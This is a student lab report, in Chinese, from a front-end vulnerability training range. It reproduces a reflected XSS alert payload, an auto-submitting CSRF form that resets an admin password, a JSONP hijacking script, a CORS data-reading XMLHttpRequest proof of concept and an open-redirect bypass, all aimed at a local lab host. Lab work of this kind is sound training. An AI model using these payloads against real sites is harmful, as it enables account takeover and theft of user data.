实验要求

漏洞环境:前端漏洞靶场环境——front(系统有两个用户: user1/user1 、admin1/admin1),要求提交实验报告

  1. 挖掘环境中的反射型XSS漏洞,(以弹框 test13 证明)
  2. 复现环境中的CSRF漏洞,设计表单,当管理员点击URL以后自动将自己的密码重置为:123456
  3. 复现环境中JSON Hijacking漏洞,在另一个网站(或本机另一个端口)获取用户信息
  4. 通过在服务器Web目录创建.htaccess文件,控制服务器响应头,实现CORS漏洞,在另一网站,接收HTML接口的用户信息。
  5. 挖掘环境中的URL跳转漏洞,构造请求,跳转到重邮官网

靶场搭建

进入靶场文件目录下输入docker-compose up -d启动靶场,访问http://192.168.37.128:8983即可

漏洞挖掘与复现

反射型XSS漏洞

使用用户名user1与密码user1登录

查看网站源码,发现参数name处可能存在XSS漏洞

尝试构造PoC并发送,成功弹窗,证明存在反射型XSS漏洞

http://192.168.37.128:8983/front/info.php?name=<script>alert('test 13')</script>

CSRF漏洞

抓包查看用户点击修改密码时发送给服务器的数据包,可以看到新密码newpassword和确认密码passwordrepeat都是用POST传参

POST /front/info.php?name= HTTP/1.1
Host: 192.168.37.128:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.37.128:8983
Sec-GPC: 1
Connection: close
Referer: http://192.168.37.128:8983/front/info.php?name=
Cookie: uid=dXNlcjE%3D; is_ad=1; PHPSESSID=ggoq5vok58252u9sdl3i043981
Upgrade-Insecure-Requests: 1

newpassword=user1&passwordrepeat=user1

开启攻击机的网络服务,在攻击机的www目录下建立一个html页面(192.168.137.1:8888/test.html),构造修改密码功能表单,一旦受害者访问此页面,密码就会被改成123456,构造表单如下

<form id="myform" method="post" action="http://192.168.37.128:8983/front/info.php?name=">
<input type="hidden" name="newpassword" value= "123456"/>
<input type="hidden" name="passwordrepeat" value= "123456"/>
</form>
<!-- javascript自动提交 -->
<script>
var myform=document.getElementById("myform");
myform.submit();
</script>

使用无痕浏览模式打开新窗口模拟管理员登录后并”不小心”访问URL192.168.137.1:8888/test.html以后,页面会自动提交事先构造的表单,这时密码已经被修改,用之前的密码admin1登录管理员显示登陆失败

使用修改后的密码123456可以成功登录admin1账号

JSON HiJacking漏洞

使用user1账号登录,发现返回敏感信息,可能存在Hijacking漏洞

构建PoC,将代码放入构建的web服务器目录下(http://192.168.137.1:8888/test.html)

<script>  
function hijack(result)
{
alert(result);
}
</script>
<script src="http://192.168.37.128/userdata.php?callback=hijack"></script>

使用admin1账户登录模拟管理员访问192.168.137.1:8888/test.html,但是页面返回null

如果web服务器构建在同一IP地址下,访问192.168.37.128/test.html,查看响应头,可以查看到敏感信息

CORS漏洞

使用user1账户登录,点击个人信息html接口,返回敏感信息并且发现响应头存在Access-Control-Allow-Origin: *,存在CORS漏洞

构建PoC,将代码放入构建的web服务器目录下(http://192.168.137.1:8888/test.html)

<script>  
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://192.168.37.128:8983/front/cors.php',true);
req.responseType="text";
function reqListener()
{
if (req.readyState === req.DONE)
{
if(req.status === 200)
{
document.write(req.responseText);
}
}
}
req.send(null);
</script>

访问192.168.137.1:8888/test.html,成功跨域获取敏感信息

URL跳转漏洞

使用user1账户登录,点击返回登录页,使用burpsuite抓包,发现存在url跳转

将url改成www.cqupt.edu.cn

发现重定向到网站目录下

将url改写成//www.cqupt.edu.cn,点击关注重定向

成功跳转到重邮官网